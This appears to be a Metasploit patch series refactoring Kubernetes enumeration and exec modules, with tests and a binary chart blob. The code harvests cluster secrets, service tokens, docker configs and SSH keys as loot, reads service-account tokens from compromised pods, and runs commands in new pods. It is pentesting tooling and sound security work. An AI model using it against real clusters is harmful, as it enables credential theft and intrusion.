output_for(type) + case type + when 'table' + Msf::Exploit::Remote::HTTP::Kubernetes::Output::Table.new(self, highlight_name_pattern: datastore['HIGHLIGHT_NAME_PATTERN']) + when 'json' + Msf::Exploit::Remote::HTTP::Kubernetes::Output::JSON.new(self) + end + end + + def run + if session + print_status("Routing traffic through session: #{session.sid}") + configure_via_session + end + validate_configuration! + + @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token }) + @output = output_for(datastore['output']) + + case action.name + when 'all' + enum_all + when 'version' + enum_version + when 'auth' + enum_auth(datastore['NAMESPACE']) + when 'namespaces', 'namespace' + enum_namespaces(name: datastore['NAME']) + when 'pods', 'pod' + enum_pods(datastore['NAMESPACE'], name: datastore['NAME']) + when 'secret', 'secrets' + enum_secrets(datastore['NAMESPACE'], name: datastore['NAME']) + end + rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ApiError => e + print_error(e.message) + end +end diff --git a/modules/exploits/multi/kubernetes/exec.rb b/modules/exploits/multi/kubernetes/exec.rb index cf6f58bb66cd..141d2f79fc0a 100644 --- a/modules/exploits/multi/kubernetes/exec.rb +++ b/modules/exploits/multi/kubernetes/exec.rb @@ -10,8 +10,7 @@ class MetasploitModule < Msf::Exploit include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager - include Msf::PostMixin - include Msf::Post::File + include Msf::Exploit::Remote::HTTP::Kubernetes def initialize(info = {}) super( @@ -38,7 +37,6 @@ def initialize(info = {}) 'Stability' => [ CRASH_SAFE ] }, 'DefaultOptions' => { - 'RPORT' => 8443, 'SSL' => true }, 'Targets' => [ @@ -102,97 +100,24 @@ def initialize(info = {}) Opt::RPORT(nil, false), Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]), OptString.new('TOKEN', [ false, 'The JWT token' ]), - OptString.new('POD', [ true, 'The pod name to execute in' ]), + OptString.new('POD', [ false, 'The pod name to execute in' ]), OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]), OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]), ] ) end - def api_token - @api_token || datastore['TOKEN'] - end - - def rhost - @rhost || datastore['RHOST'] - end - - def rport - @rport || datastore['RPORT'] - end - - def namespace - @namespace || datastore['NAMESPACE'] - end - def pod_name @pod_name || datastore['POD'] end - def configure_via_session - vprint_status("Configuring options via session #{session.sid}") - - unless directory?('/run/secrets/kubernetes.io') - # This would imply that the target is not a Kubernetes container - fail_with(Failure::NotFound, 'The kubernetes.io directory was not found') - end - - if api_token.blank? - token = read_file('/run/secrets/kubernetes.io/serviceaccount/token') - fail_with(Failure::NotFound, 'The API token was not found, manually set the TOKEN option') if token.blank? - - print_good("API Token: #{token}") - @api_token = token - end - - if namespace.blank? - ns = read_file('/run/secrets/kubernetes.io/serviceaccount/namespace') - fail_with(Failure::NotFound, 'The namespace was not found, manually set the NAMESPACE option') if ns.blank? - - print_good("Namespace: #{ns}") - @namespace = ns - end - - service_host = service_port = nil - if rhost.blank? - service_host = get_env('KUBERNETES_SERVICE_HOST') - fail_with(Failure::NotFound, 'The KUBERNETES_SERVICE_HOST environment variable was not found, manually set the RHOSTS option') if service_host.blank? - - @rhost = service_host - end - - if rport.blank? - service_port = get_env('KUBERNETES_SERVICE_PORT') - fail_with(Failure::NotFound, 'The KUBERNETES_SERVICE_PORT environment variable was not found, manually set the RPORT option') if service_port.blank? - - @rport = service_port.to_i - end - - if service_host || service_port - service = "#{Rex::Socket.is_ipv6?(service_host) ? '[' + service_host + ']' : service_host}:#{service_port}" - print_good("Kubernetes service host: #{service}") - end - end - - def connect_ws(opts = {}, *args) - opts['comm'] = session - opts['vhost'] = rhost - super - end - - def send_request_raw(opts = {}, *args) - opts['comm'] = session - opts['vhost'] = rhost - super - end - def create_pod random_identifiers = Rex::RandomIdentifier::Generator.new({ first_char_set: Rex::Text::LowerAlpha, char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals }) - image_name = @kubernetes_client.list_pods(namespace).dig(:items, 0, :spec, :containers, 0, :image) + image_name = @kubernetes_client.list_pod(namespace).dig(:items, 0, :spec, :containers, 0, :image) print_status("Using image: #{image_name}") new_pod_definition = { @@ -258,7 +183,6 @@ def exploit end validate_configuration! - @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token }) create_pod if pod_name.blank? @@ -322,12 +246,4 @@ def execute_command(cmd, _opts = {}) status = result&.dig(:error, 'status') fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success' end - - def validate_configuration! - fail_with(Failure::BadConfig, 'Missing option: RHOSTS') if rhost.blank? - fail_with(Failure::BadConfig, 'Missing option: RPORT') if rport.blank? - fail_with(Failure::BadConfig, 'Invalid option: RPORT') unless rport.to_i > 0 && rport.to_i < 65536 - fail_with(Failure::BadConfig, 'Missing option: TOKEN') if api_token.blank? - fail_with(Failure::BadConfig, 'Missing option: NAMESPACE') if namespace.blank? - end end diff --git a/spec/lib/msf/exploit/remote/http/kubernetes/auth_parser_spec.rb b/spec/lib/msf/exploit/remote/http/kubernetes/auth_parser_spec.rb new file mode 100644 index 000000000000..a77f5c1922b8 --- /dev/null +++ b/spec/lib/msf/exploit/remote/http/kubernetes/auth_parser_spec.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::HTTP::Kubernetes::AuthParser do + let(:valid_auth_response) do + { + "kind": "SelfSubjectRulesReview", + "apiVersion": "authorization.k8s.io/v1", + "metadata": { + "creationTimestamp": nil + }, + "spec": {}, + "status": { + "resourceRules": [ + { + "verbs": [ + "get", + "list" + ], + "apiGroups": [ + "*" + ], + "resources": [ + "pod", + "job" + ], + "resourceNames": [ + "test-resource" + ] + }, + ], + "nonResourceRules": [ + { + "verbs": [ + "get", + ], + "nonResourceURLs": [ + "/apis/*", + "/version", + ] + } + ], + "incomplete": false + } + }.deep_symbolize_keys + end + + let(:subject) { described_class.new(valid_auth_response) } + + describe '#as_table' do + it 'returns the parsed list of auth rules as a table' do + expected = { + columns: ['Resources', 'Non-Resource URLs', 'Resource Names', 'Verbs'], + rows: [ + ["job.*", "[]", "[test-resource]", "[get list]"], + ["pod.*", "[]", "[test-resource]", "[get list]"], + ["", "[/apis/*]", "[]", "[get]"], + ["", "[/version]", "[]", "[get]"] + ] + } + expect(subject.as_table).to eq(expected) + end + end +end diff --git a/spec/lib/msf/ui/console/table_print/age_formatter_spec.rb b/spec/lib/msf/ui/console/table_print/age_formatter_spec.rb new file mode 100644 index 000000000000..040d5abb7c34 --- /dev/null +++ b/spec/lib/msf/ui/console/table_print/age_formatter_spec.rb @@ -0,0 +1,52 @@ +require 'spec_helper' + +RSpec.describe Msf::Ui::Console::TablePrint::AgeFormatter do + before(:each) do + Timecop.freeze(Time.local(2008, 9, 5, 10, 5, 30)) + end + + after(:each) do + Timecop.return + end + + describe '#format' do + context 'when the input is invalid' do + it { expect(subject.format('not-a-date')).to eq('') } + it { expect(subject.format((Time.now.utc + 5.minutes).iso8601)).to eq('') } + end + + context 'when the input is valid' do + # seconds + it { expect(subject.format((Time.now.utc).iso8601)).to eq('0s') } + it { expect(subject.format((Time.now.utc - 7.seconds).iso8601)).to eq('7s') } + it { expect(subject.format((Time.now.utc - 119.seconds).iso8601)).to eq('119s') } + + # minutes + it { expect(subject.format((Time.now.utc - 120.seconds).iso8601)).to eq('2m') } + it { expect(subject.format((Time.now.utc - 121.seconds).iso8601)).to eq('2m1s') } + it { expect(subject.format((Time.now.utc - 5.minutes).iso8601)).to eq('5m') } + it { expect(subject.format((Time.now.utc - 179.minutes).iso8601)).to eq('179m') } + it { expect(subject.format((Time.now.utc - 179.minutes - 5.seconds).iso8601)).to eq('179m') } + + # hours + it { expect(subject.format((Time.now.utc - 180.minutes).iso8601)).to eq('3h') } + it { expect(subject.format((Time.now.utc - 185.minutes).iso8601)).to eq('3h5m') } + it { expect(subject.format((Time.now.utc - 7.hours - 5.minutes).iso8601)).to eq('7h5m') } + it { expect(subject.format((Time.now.utc - 8.hours).iso8601)).to eq('8h') } + it { expect(subject.format((Time.now.utc - 8.hours - 5.minutes).iso8601)).to eq('8h') } + it { expect(subject.format((Time.now.utc - 30.hours).iso8601)).to eq('30h') } + + # days + it { expect(subject.format((Time.now.utc - 4.days).iso8601)).to eq('4d') } + it { expect(subject.format((Time.now.utc - 4.days - 5.hours).iso8601)).to eq('4d5h') } + it { expect(subject.format((Time.now.utc - 200.days).iso8601)).to eq('200d') } + it { expect(subject.format((Time.now.utc - 200.days - 5.hours).iso8601)).to eq('200d') } + it { expect(subject.format((Time.now.utc - 364.days - 5.hours).iso8601)).to eq('364d') } + it { expect(subject.format((Time.now.utc - 364.days - 5.hours).iso8601)).to eq('364d') } + it { expect(subject.format((Time.now.utc - 400.days).iso8601)).to eq('400d') } + + # years + it { expect(subject.format((Time.now.utc - 10.years).iso8601)).to eq('10y') } + end + end +end diff --git a/spec/lib/msf/ui/console/table_print/highlight_substring_styler_spec.rb b/spec/lib/msf/ui/console/table_print/highlight_substring_styler_spec.rb index 12cb15ecdbf0..4363d26f3281 100644 --- a/spec/lib/msf/ui/console/table_print/highlight_substring_styler_spec.rb +++ b/spec/lib/msf/ui/console/table_print/highlight_substring_styler_spec.rb @@ -30,5 +30,12 @@ expect(styler.style(str)).to eql "%bgmagA%clr%bgmagB%clr%bgmagC%clr%bgmagA%clr%bgmagB%clr%bgmagC%clr" end + + it 'should support regex highlight terms' do + str = 'username password compassionate PASSWORD foo bar' + styler = described_class.new([/user|pass/, 'foo']) + + expect(styler.style(str)).to eql "%bgmaguser%clrname %bgmagpass%clrword com%bgmagpass%clrionate PASSWORD %bgmagfoo%clr bar" + end end end diff --git a/spec/msf/ui/console/module_argument_parsing_spec.rb b/spec/msf/ui/console/module_argument_parsing_spec.rb index 6d73148eb8fa..70724e634b43 100644 --- a/spec/msf/ui/console/module_argument_parsing_spec.rb +++ b/spec/msf/ui/console/module_argument_parsing_spec.rb @@ -272,6 +272,40 @@ def cmd_exploit_help it_behaves_like 'a command which shows help menus', method_name: 'parse_run_opts', expected_help_cmd: 'cmd_run_help' + + it 'handles an action being supplied' do + args = [] + expected_result = { + jobify: false, + quiet: false, + action: 'action-name', + datastore_options: {} + } + expect(subject.parse_run_opts(args, action: 'action-name')).to eq(expected_result) + end + + it 'handles an action being specified from the original datastore value' do + current_mod.datastore['action'] = 'datastore-action-name' + args = [] + expected_result = { + jobify: false, + quiet: false, + action: 'action-name', + datastore_options: {} + } + expect(subject.parse_run_opts(args, action: 'action-name')).to eq(expected_result) + end + + it 'handles an action being nil' do + args = [] + expected_result = { + jobify: false, + quiet: false, + action: nil, + datastore_options: {} + } + expect(subject.parse_run_opts(args)).to eq(expected_result) + end end describe '#parse_exploit_opts' do diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 8c12bffd4246..d6ef32e4366b 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -21,14 +21,14 @@ end def capture_logging(target) - append_output = proc do |string| + append_output = proc do |string = ''| lines = string.split("\n") @output ||= [] @output.concat(lines) @combined_output ||= [] @combined_output.concat(lines) end - append_error = proc do |string| + append_error = proc do |string = ''| lines = string.split("\n") @error ||= [] @error.concat(lines) @@ -36,11 +36,13 @@ def capture_logging(target) @combined_output.concat(lines) end - allow(target).to receive(:print).with(kind_of(String), &append_output) - allow(target).to receive(:print_line).with(kind_of(String), &append_output) - allow(target).to receive(:print_status).with(kind_of(String), &append_output) - allow(target).to receive(:print_warning).with(kind_of(String), &append_error) - allow(target).to receive(:print_error).with(kind_of(String), &append_error) - allow(target).to receive(:print_bad).with(kind_of(String), &append_error) + allow(target).to receive(:print, &append_output) + allow(target).to receive(:print_line, &append_output) + allow(target).to receive(:print_status, &append_output) + allow(target).to receive(:print_good, &append_output) + + allow(target).to receive(:print_warning, &append_error) + allow(target).to receive(:print_error, &append_error) + allow(target).to receive(:print_bad, &append_error) end end From 3a8495cf870ae8ca6980cdf1214d4084361b1fba Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 7 Oct 2021 12:35:53 +0100 Subject: [PATCH 2/4] PR feedback --- lib/msf/core/exploit/remote/http/jwt.rb | 18 ++++++++++----- .../remote/http/kubernetes/auth_parser.rb | 5 +---- .../exploit/remote/http/kubernetes/client.rb | 10 ++++----- .../remote/http/kubernetes/enumeration.rb | 22 ++++++++++++++----- .../exploit/remote/http/kubernetes/error.rb | 9 ++++++++ .../remote/http/kubernetes/output/table.rb | 14 +++++++++++- .../cloud/kubernetes/enum_kubernetes.rb | 3 +-- 7 files changed, 58 insertions(+), 23 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/jwt.rb b/lib/msf/core/exploit/remote/http/jwt.rb index 6d6867d87e85..696272471faa 100644 --- a/lib/msf/core/exploit/remote/http/jwt.rb +++ b/lib/msf/core/exploit/remote/http/jwt.rb @@ -4,20 +4,26 @@ # Note that swapping this out for a third-party gem will work, but # there may be potential security issues with the key id (kid) claim etc, # which would need to be reviewed. -module Msf::Exploit::Remote::HTTP::JWT - module_function +class Msf::Exploit::Remote::HTTP::JWT + attr_reader :payload, :header, :signature - def encode(payload, key, algorithm = 'HS256', header_fields = {}) + def initialize(payload:, header:, signature:) + @payload = payload + @header = header + @signature = signature + end + + def self.encode(payload, key, algorithm = 'HS256', header_fields = {}) raise NotImplementedError end - def decode(jwt, _key = nil, _verify = true, _options = {}) + def self.decode(jwt, _key = nil, _verify = true, _options = {}) header, payload, signature = jwt.split('.', 3) - raise ArgumentError, "Invalid JWT format" if header.nil? || payload.nil? || signature.nil? + raise ArgumentError, 'Invalid JWT format' if header.nil? || payload.nil? || signature.nil? header = JSON.parse(Rex::Text.decode_base64(header)) payload = JSON.parse(Rex::Text.decode_base64(payload)) - [payload, header] + self.new(payload: payload, header: header, signature: signature) end end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb b/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb index 741f92612082..510415ae42bd 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb @@ -98,7 +98,6 @@ def find_policy(existing_simple_rules, simple_rule) is_match = ( existing_simple_rule[:group] == simple_rule[:group] && existing_simple_rule[:resource] == simple_rule[:resource] && - existing_simple_rule[:resourceNameExist] == simple_rule[:resourceNameExist] && existing_simple_rule[:resourceName] == simple_rule[:resourceName] ) @@ -146,14 +145,12 @@ def as_simple_rule(policy_rule) simple_rule = { group: policy_rule[:apiGroups][0], - resource: policy_rule[:resources][0], - resourceNameExist: false + resource: policy_rule[:resources][0] } if policy_rule[:resourceNames].any? simple_rule.merge( { - resourceNameExist: true, resourceName: policy_rule[:resourceNames][0] } ) diff --git a/lib/msf/core/exploit/remote/http/kubernetes/client.rb b/lib/msf/core/exploit/remote/http/kubernetes/client.rb index 9133ae47775b..800b25a892ef 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/client.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/client.rb @@ -174,7 +174,7 @@ def get_secret(secret, namespace, options = {}) json end - def list_secret(namespace, options = {}) + def list_secrets(namespace, options = {}) _res, json = call_api( { 'method' => 'GET', @@ -198,7 +198,7 @@ def get_namespace(namespace, options = {}) json end - def list_namespace(options = {}) + def list_namespaces(options = {}) _res, json = call_api( { 'method' => 'GET', @@ -210,7 +210,7 @@ def list_namespace(options = {}) json end - def list_pod(namespace, options = {}) + def list_pods(namespace, options = {}) _res, json = call_api( { 'method' => 'GET', @@ -266,7 +266,7 @@ def call_api(request, options = {}) res = http_client.send_request_raw(request_options(request, options)) if res.nil? || res.body.nil? - raise Kubernetes::Error::ApiError.new(res: res) + raise Kubernetes::Error::InvalidApiError.new(res: res) elsif res.code == 401 raise Kubernetes::Error::AuthenticationError.new(res: res) elsif res.code == 403 @@ -277,7 +277,7 @@ def call_api(request, options = {}) json = res.get_json_document if json.nil? - raise Kubernetes::Error::ApiError.new(res: res) + raise Kubernetes::Error::InvalidApiError.new(res: res) end [res, json.deep_symbolize_keys] diff --git a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb index 9f697e8cf68a..a9ba8eafc09d 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb @@ -2,6 +2,16 @@ # The mixin for enumerating a Msf::Exploit::Remote::HTTP::Kubernetes API module Msf::Exploit::Remote::HTTP::Kubernetes::Enumeration + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-node-lease,kube-lease,kube-system']) + ] + ) + end + def enum_all enum_version namespace_items = enum_namespaces @@ -31,10 +41,12 @@ def enum_all end def enum_version + version = nil attempt_enum(:version) do version = kubernetes_client.get_version output.print_version(version) end + version end def enum_namespaces(name: nil) @@ -45,7 +57,7 @@ def enum_namespaces(name: nil) if name namespace_items = [kubernetes_client.get_namespace(name)] else - namespace_items = kubernetes_client.list_namespace.fetch(:items, []) + namespace_items = kubernetes_client.list_namespaces.fetch(:items, []) end end output.print_namespaces(namespace_items) @@ -64,7 +76,7 @@ def enum_pods(namespace, name: nil) if name pods = [kubernetes_client.get_pod(name, namespace)] else - pods = kubernetes_client.list_pod(namespace).fetch(:items, []) + pods = kubernetes_client.list_pods(namespace).fetch(:items, []) end output.print_pods(namespace, pods) @@ -76,7 +88,7 @@ def enum_secrets(namespace, name: nil) if name secrets = [kubernetes_client.get_secret(name, namespace)] else - secrets = kubernetes_client.list_secret(namespace).fetch(:items, []) + secrets = kubernetes_client.list_secrets(namespace).fetch(:items, []) end output.print_secrets(namespace, secrets) @@ -206,8 +218,8 @@ def parse_private_key(data) end def parse_jwt(token) - claims, _header = Msf::Exploit::Remote::HTTP::JWT.decode(token) - claims + parsed_token = Msf::Exploit::Remote::HTTP::JWT.decode(token) + parsed_token.payload rescue ArgumentError nil end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/error.rb b/lib/msf/core/exploit/remote/http/kubernetes/error.rb index 80bd1bba59ea..48d9657802f0 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/error.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/error.rb @@ -15,6 +15,15 @@ def initialize(message: nil, res: nil) attr_reader :res end + class InvalidApiError < ApiError + def initialize(message: nil, res: nil) + super(message: message || "Kubernetes InvalidApi - target does not appear to be running Kubernetes, verify configuration", res: res) + @res = res + end + + attr_reader :res + end + class AuthenticationError < ApiError def initialize(message: nil, res: nil) super(message: message || "Kubernetes AuthenticationError - token may be invalid", res: res) diff --git a/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb b/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb index 4749245987cb..8e37db544f0d 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb @@ -33,7 +33,19 @@ def print_enum_failure(resource, error) end def print_version(version) - print_good("Kubernetes service version: #{version.to_json}") + table = create_table( + 'Header' => 'Version', + 'Columns' => ['name', 'value'] + ) + + version.each_pair do |key, value| + table << [ + key, + value + ] + end + + print_table(table) end def print_namespaces(namespaces) diff --git a/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb b/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb index a9e737b6d2d0..5c98a1da872d 100644 --- a/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb +++ b/modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb @@ -59,8 +59,7 @@ def initialize(info = {}) Msf::OptInt.new('SESSION', [false, 'An optional session to use for configuration']), OptRegexp.new('HIGHLIGHT_NAME_PATTERN', [true, 'PCRE regex of resource names to highlight', 'username|password|user|pass']), OptString.new('NAME', [false, 'The name of the resource to enumerate', nil]), - OptEnum.new('OUTPUT', [true, 'output format to use', 'table', ['table', 'json']]), - OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-node-lease,kube-lease,kube-system']) + OptEnum.new('OUTPUT', [true, 'output format to use', 'table', ['table', 'json']]) ] ) end From 547c561ea952e424a1b5c95561498da007c3f655 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Mon, 11 Oct 2021 13:55:45 +0100 Subject: [PATCH 3/4] Correctly store extracted loot --- lib/msf/core/auxiliary/report.rb | 2 +- .../exploit/remote/http/kubernetes/enumeration.rb | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 4f1f72eb62b1..b259e943c780 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -396,7 +396,7 @@ def store_loot(ltype, ctype, host, data, filename=nil, info=nil, service=nil) ext = 'bin' if filename parts = filename.to_s.split('.') - if parts.length > 1 and parts[-1].length < 4 + if parts.length > 1 and parts[-1].length <= 4 ext = parts[-1] end end diff --git a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb index a9ba8eafc09d..652990208fd8 100644 --- a/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb +++ b/lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb @@ -131,7 +131,8 @@ def report_secrets(namespace, secrets) loot_name_prefix = [ datastore['RHOST'], namespace, - resource_name + resource_name, + secret[:type].gsub(/[a-zA-Z]/, '-').downcase ].join('_') case secret[:type] @@ -170,19 +171,18 @@ def report_secrets(namespace, secrets) %i[namespace token].each do |key| data[key] = Rex::Text.decode_base64(data[key]) end - loot_name = loot_name_prefix + '-token' - + loot_name = loot_name_prefix + '.json' path = store_loot('kubernetes.token', 'application/json', datastore['RHOST'], JSON.pretty_generate(data), loot_name) print_good("service token #{resource_name}: #{path}") when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::DockerConfigurationJson json = Rex::Text.decode_base64(secret.dig(:data, :".dockerconfigjson")) - loot_name = loot_name_prefix + '-json' + loot_name = loot_name_prefix + '.json' path = store_loot('docker.json', 'application/json', nil, json, loot_name) print_good("dockerconfig json #{resource_name}: #{path}") when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::SSHAuth data = Rex::Text.decode_base64(secret.dig(:data, :"ssh-privatekey")) - loot_name = loot_name_prefix + '-ssh_key' + loot_name = loot_name_prefix + '.key' private_key = parse_private_key(data) credential = credential_data.merge( @@ -198,7 +198,7 @@ def report_secrets(namespace, secrets) vprint_error("Unable to store #{loot_name} as a valid ssh_key pair") end - path = store_loot('id_rsa', 'text/plain', nil, json, loot_name) + path = store_loot('id_rsa', 'text/plain', nil, data, loot_name) print_good("ssh_key #{resource_name}: #{path}") end rescue StandardError => e From 0d3d0e9fe592659e561104a4b3a636d230df5ce6 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Tue, 12 Oct 2021 16:59:07 +0100 Subject: [PATCH 4/4] Print token claims --- .../metasploit/charts/postgresql-10.12.2.tgz | Bin 0 -> 52826 bytes .../remote/http/kubernetes/enumeration.rb | 8 ++++-- .../remote/http/kubernetes/output/json.rb | 4 +++ .../remote/http/kubernetes/output/table.rb | 27 +++++++++++++++++- 4 files changed, 35 insertions(+), 4 deletions(-) create mode 100644 kubernetes/metasploit/charts/postgresql-10.12.2.tgz diff --git a/kubernetes/metasploit/charts/postgresql-10.12.2.tgz b/kubernetes/metasploit/charts/postgresql-10.12.2.tgz new file mode 100644 index 0000000000000000000000000000000000000000..aeebe67310a83c65d529ecdef8324a838569dbbf GIT binary patch literal 52826 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 